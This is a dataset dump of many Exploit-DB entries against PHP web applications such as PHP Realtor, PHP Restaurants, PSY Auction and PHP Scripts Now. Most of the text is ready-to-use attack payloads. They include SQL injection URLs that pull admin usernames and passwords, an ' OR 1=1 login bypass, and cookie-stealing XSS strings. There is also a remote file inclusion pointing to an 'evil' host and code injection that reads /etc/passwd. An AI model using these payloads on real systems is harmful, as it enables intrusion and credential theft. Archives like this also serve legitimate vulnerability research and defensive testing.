deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6694
Description: PHP Realtor 1.5 - 'v_cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-07
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## PHP Realtor 1.5 ( view_cat.php v_cat )
##
## http://selectdevelopment.com/
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT./view_cat.php?v_cat=1+union+select+concat_ws(0x3a,username,password)MrSQL+from+users+limit+1,1--
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-10-07]
Exploit-DB #32241
Description: PHP Realty - 'dpage.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-13
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30678/info

PHP Realty is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/path/dpage.php?docID=-1 UNION SELECT 1,2,concat(Username,0x3a,Password) FROM admin--
http://www.example.com/path/dpage.php?docID=-9999+union+all+select+1,2,group_concat(Username,char(58),Password)v3n0m+from+admin--
Exploit-DB #8658
Description: PHP recommend 1.3 - Authentication Bypass / Remote File Inclusion / Code Injection
Type: webapps
Platform: php
Date: 2009-05-11
Author: scriptjunkie

Exploit:
Php Recommend <=1.3 Authentication Bypass/Remote File Include/Code Injection Exploits


Author: scriptjunkie  scriptjunkie.1 {nospam} googlemail {nospam} com
Condition: RFI:  allow_url_fopen = On
code injection: magic_quotes_gpc = Off

Exploits:
Authentication Bypass:
change admin username and [CREDENTIAL_REDACTED].com/admin.php?submit=submit&form_admin_user=USERNAME&form_admin_pass=PASSWORD

RFI:
vulnerable.com/admin.php?submit=submit&form_include_template=http://evil/evil.php

Code Injection:
vulnerable.com/admin.php?submit=submit&form_aula=';readfile('/etc/passwd');'


Vulnerable code in "admin.php":

if($submit){
$a = "'";
$b = "<";
$c = ">";
$d = "";
$content = "".$b."?php
// Php Recommmend
// Created By Frax.dk
// GNU Licens
// Please do not delete this text
$".$d."page = '".$form_page."';
$".$d."include_template = '".$form_include_template."';
$".$d."cap = '".$form_cap."';
$".$d."title = '".$form_title."';
$".$d."aula = '".$form_aula."';
$".$d."language = '".$form_language."';
$".$d."admin_user = '".$form_admin_user."';
$".$d."admin_pass = '".$form_admin_pass."';

// -- Maincore -- //

include $".$d."include_template;
?".$c."";

$file_name = "phpre_config.php";
$file = $file_name;
$create_file = fopen($file, "w+");

if(!$create_file){die("<td><span style='color:red;'><? echo $error1; ?></span></td>\n");}

//attempt to write basic content to the file
if (fwrite($create_file, $content) === FALSE) {
echo "<td><span style='color:red;'><? echo $error2; ?></span></td>\n";
}else{echo "Succes";}
fclose($create_file);


which is reached since the authentication in server.php:
if($user == $admin_user && $admin_pass == $pass){
$error = "false";
}else{
setcookie("phpre_user", "", time()-3600);
setcookie("phpre_pass", "", time()-3600);
$error = "true";
}

is not checked sufficiently.

# milw0rm.com [2009-05-11]
Exploit-DB #50699
Description: PHP Restaurants 1.0 - SQLi (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-02-02
Author: Nefrit ID

Exploit:
# Exploit Title: PHP Restaurants 1.0 - SQLi (Unauthenticated)
# Google Dork: None
# Date: 01/29/2022
# Exploit Author: Nefrit ID
# Vendor Homepage: https://github.com/jcwebhole
# Software Link: https://github.com/jcwebhole/php_restaurants
# Version: 1.0
# Tested on: Kali Linux & Windows 10

*SQL injection is a code injection technique used to attack
data-driven applications, in which malicious SQL statements are
inserted into an entry field for execution (e.g. to dump the database
contents to the attacker). wikipedia*


===Start===
Exploit Url = http://localhost/php_restaurants-master/admin/functions.php?f=deleteRestaurant&id=1337
AND (SELECT 3952 FROM (SELECT(SLEEP(5)))XMSid)

Burpsuite Proxy Intercept
GET /php_restaurants-master/admin/functions.php?f=deleteRestaurant&id=1337
HTTP/1.1
Host: web_server_ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://web_server_ip/php_restaurants-master/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: uid=1
Connection: close
Exploit-DB #51398
Description: PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting
Type: webapps
Platform: php
Date: 2023-05-02
Author: Or4nG.M4N

Exploit:
# Exploit Title: PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting (XSS)
# Google Dork: None
# Date: 4/26/2023
# Exploit Author: Or4nG.M4n
# Vendor Homepage: https://github.com/jcwebhole
# Software Link: https://github.com/jcwebhole/php_restaurants
# Version: 1.0


functions.php

function login(){
global $conn;
$email = $_POST['email'];
$pw = $_POST['password'];

$sql = "SELECT * FROM `users` WHERE `email` = '".$email."' AND `password` =
'".md5($pw)."'"; <-- there is No filter to secure sql query
parm[email][password]
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
setcookie('uid', $row['id'], time() + (86400 * 30), "/"); // 86400 = 1 day
header('location: index.php');
}
} else {
header('location: login.php?m=Wrong Password');
}

}

login bypass at admin page /rest1/admin/login.php

email & password : ' OR 1=1 --             <- add [space] end of the payload

cross site scripting main page /index.php

xhttp.open("GET", "functions.php?f=getRestaurants<?php
  if(isset($_GET['search'])) echo '&search='.$_GET['search']; <-- here we
can insert our xss payload
?>
  ", true);
xhttp.send();

</script> <-- when you insert your'e payload don't forget to add </script>
like

xss payload : </script><img onerror=alert(1) src=a>
Exploit-DB #36551
Description: PHP Ringtone Website - 'ringtones.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-15
Author: Atmon3r

Exploit:
source: https://www.securityfocus.com/bid/51418/info

PHP Ringtone Website is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/ringtones.php?mmchar0_1=[xss]&mmstart0_1=1&mmsection0_1=[xss]
Exploit-DB #29258
Description: PHP RSS Reader 2010 - SQL Injection
Type: webapps
Platform: php
Date: 2013-10-28
Author: mishal abdullah

Exploit:
# Exploit Title: [PHP RSS READER 2010 SQLI]
# Google Dork: [Copyright 2010 - Powered By - PHP RSS Reader]
# Date: [28/10/2013]
# Exploit Author: [rDNix]
# Vendor Homepage: [http://www.phprssreader.com/]
# Version: [2010]

Exploit :-

http://www.site.com/[phprssreader]/null'%20/*!uNION*/%20/*!select*/%201,2,3,/*!concat(username,password)*/,5,6,7,8,9,10,11%20from%20rss_users--+<http://www.kt.com.kw/read2/null'%20/*!uNION*/%20/*!select*/%201,2,3,/*!concat(username,password)*/,5,6,7,8,9,10,11%20from%20rss_users--+>


By : rDNix
Contact : Mynamemishal@gmail.com
Exploit-DB #31022
Description: PHP Running Management 1.0.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-13
Author: Christophe VG

Exploit:
source: https://www.securityfocus.com/bid/27268/info

PHP Running Management is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to PHP Running Management 1.0.3.

http://www.example.com/index.php?message=%3Cscript%3Edocument.writeln(123)%3C/script%3E%20
Exploit-DB #16069
Description: PHP Script Directory Software - 'sbcat_id' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-28
Author: h4ck3r

Exploit:
==
Author: BorN To K!LL - h4ck3r
Contact: SQL@hotmail.co.uk
==
Script: PHP script directory software
Version: n/a
Link: http://www.softbizsolutions.com/script-directory-software.php
==
3xploit:
[path]/showcats.php?sbcat_id=[SQL-Injection]

3xample:
[path]/showcats.php?sbcat_id=-9999+union+all+select+1,concat(sbadmin_name,0x3a,sbadmin_pwd),3,4,5+from+sbrrs_admin--

==
Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
==
Exploit-DB #9378
Description: PHP Script Forum Hoster - Topic Delete / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-06
Author: int_main();

Exploit:
_______         ___________
\   _  \ ___  __\_   _____/
/  /_\  \\  \/  /|    __)  
\  \_/   \>    < |     \   
 \_____  /__/\_ \\___  /   
       \/      \/    \/    
                       #ruling the web since 9/2008


"Word is born 
            Fight the war 
                         fuck the norm!"


[=]    "PHP Script Forum Hoster" Multiple vulnerabilities

       Vendor   : http://www.shop-020.de
       Download : http://www.shop-020.de/phpscriptat-p12h4s5-PHP-Forum-Hoster-Por.html
       Author   : int_main();
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs,Cod1K

[================================================================================] 

1.) unauthorized topic deletion

Get the Forum and Topic ID ( "topic" "forum" )


http://www.city-demo.at/forum//topic.php?topic=12&forum=6

Unauthorized deletion:

http://www.city-demo.at/forum//manageforum.php?forum=6&&step=6&delt=12

POC:

http://[site]/forum//topic.php?topic=[topicid]&forum=[forumid]
http://[site]/forum//manageforum.php?forum=[forumid]&&step=[forumid]&delt=[topicid]

[================================================================================] 


2.) persistent XSS vulnerabilitys (some fun with HTML :P)

http://www.city-demo.at/forum/postthread.php

http://[site]/forum//postthread.php

Write some Javascript/HTML Code into the $_POST sections.


Have Fun!

# milw0rm.com [2009-08-06]
Exploit-DB #27870
Description: PHP Script Tools PSY Auction - 'email_request.php?user_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-15
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/17974/info
 
PSY Auction is prone to multiple input-validation vulnerabilities. The issues include HTML-injection and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/auction/email_request.php?user_id=[malicious code]
Exploit-DB #27869
Description: PHP Script Tools PSY Auction - 'item.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-15
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/17974/info

PSY Auction is prone to multiple input-validation vulnerabilities. The issues include HTML-injection and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/auction/item.php?id=&#039;[SQL]
Exploit-DB #34893
Description: PHP Scripts Now (Multiple Products) - 'bios.php?rank' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/44306/info

Multiple PHP Scripts Now products are prone to an input-validation vulnerability that can be exploited to conduct SQL-injection and cross-site scripting attacks.

Exploiting this vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following products are affected:

PHP Scripts Now President Bios
PHP Scripts Now World's Tallest Buildings 

http://www.example.com/tallestbuildings/bios.php?rank=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
http://www.example.com/presidents/bios.php?rank=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
Exploit-DB #34894
Description: PHP Scripts Now (Multiple Products) - 'bios.php?rank' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-20
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/44306/info
 
Multiple PHP Scripts Now products are prone to an input-validation vulnerability that can be exploited to conduct SQL-injection and cross-site scripting attacks.
 
Exploiting this vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
The following products are affected:
 
PHP Scripts Now President Bios
PHP Scripts Now World's Tallest Buildings 

http://www.example.com/tallestbuildings/bios.php?rank=1+and+1=null+union+select+1,version(),3,4,5,6,7,8,9--
http://www.example.com/presidents/bios.php?rank=-1%20union%20all%20select%201,version(),3,4,5,6,7,8,9,10%20from%20presidents
Exploit-DB #34771
Description: PHP Scripts Now Hangman - 'index.php?letters' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-21
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43513/info
 
TOPHangman is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
 
http://www.example.com/index.php?letters=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]57)%3B</ScRiPt>&n=601
Exploit-DB #34770
Description: PHP Scripts Now Hangman - 'index.php?n' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-21
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43513/info

TOPHangman is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks. 

http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=4 FALSE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+union+select+1,version()--
Exploit-DB #34903
Description: PHP Scripts Now Riddles - '/riddles/list.php?catid' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44309/info
 
PHP Scripts Now Riddles is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/list.php?pagenum=0&catid=4+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/list.php?pagenum=0&catid=4+AND%20SUBSTRING(@@version,1,1)=4 FALSE
Exploit-DB #34902
Description: PHP Scripts Now Riddles - '/riddles/results.php?searchQuery' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44309/info

PHP Scripts Now Riddles is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/results.php?searchquery=1<script>alert[PII_REDACTED]32)</script>&search=Search
Exploit-DB #42573
Description: PHP Search Engine 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PHP Search Engine 1.0 - SQL Injection
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Link: https://www.codester.com/items/2975/php-search-engine-mysql-based-simple-site-search
# Demo: http://codester.nelliwinne.net/PHPSearchEngine/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/go.php?id=[SQL]
# http://localhost/[PATH]/admin-delete.php?id=[SQL]
#
# 755'AnD+(/*!44455sEleCT*/+0x31+/*!44455FrOM*/+(/*!44455sEleCT*/+cOUNT(*),/*!44455CoNCAt*/((/*!44455sEleCT*/(/*!44455sEleCT*/+/*!44455CoNCAt*/(cAst(dATABASE()+As+char),0x7e,0x496873616E53656e63616e))+/*!44455FrOM*/+infOrMation_schEma.tables+/*!44455WherE*/+table_schema=dATABASE()+limit+0,1),floor(raND(0)*2))x+/*!44455FrOM*/+infOrMation_schEma.tABLES+/*!44455gROUP*/+bY+x)a)+aND+''='
#
# Etc..
# # # # #
Exploit-DB #30893
Description: PHP Security Framework - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-12-17
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/26898/info

PHP Security Framework is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and remote file-include issues.

A successful exploit may allow an attacker to execute malicious code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Security Framework Beta 1 is vulnerable; other versions may also be affected. 

http://www.example.com/PSF/lib/base.inc.php?MODEL_DIR=http://www.example2.com/
http://www.example.com/PSF/lib/base.inc.php?DAO_DIR=/etc/passwd%00

POST http://www.example.com/PSF/index.php?page=authentification HTTP/1.1\r\n
Host: localhost\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: <SIZE>\r\n\r\n
username=8%27+union+select+CHR%2856%29%2CCHR%2857%29%2CCHR%2857%29%2CCHR%2857%29+FROM+psf_administrator-----------&[CREDENTIAL_REDACTED]=authentification&button=Log+in\r\n\r\n

SQL-query: select * from psf_administrator WHERE username='8\\\\\\\\\\\\\\\'union select CHR(56),CHR(57),CHR(57),CHR(57) FROM psf_administrator-----------'
Exploit-DB #22881
Description: PHP Server Monitor - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-11-21
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: PHP Server Monitor
# Version: 2.0.1 (and maybe older versions)
# Google Dork: intext="Powered by PHP Server Monitor v2.0.1"
# (yes people have made this available on the web)

# Software Download: http://sourceforge.net/projects/phpservermon/
 
# Tested on: Ubuntu Linux

# Software Description
# PHP Server Monitor is a script that checks whether the servers on your list are up and running on the selected ports.
# It comes with a web based user interface where you can add and remove servers or websites from the MySQL database,
# and you can manage users for each server with a mobile number and email address.
# On the "Add server" page, you can choose
# whether it's a "service" or a "website":

# Vulnerability: Stored XSS
# Label name or pretty much any other text field such as IP
# Inserting html code can pretty much screw up the whole page as well.
# PoC: 
# <script>alert('xss');</script>
# <script>alert(document.cookie);</script>
# <iframe>something</iframe>
# 

# There are other things I'm sure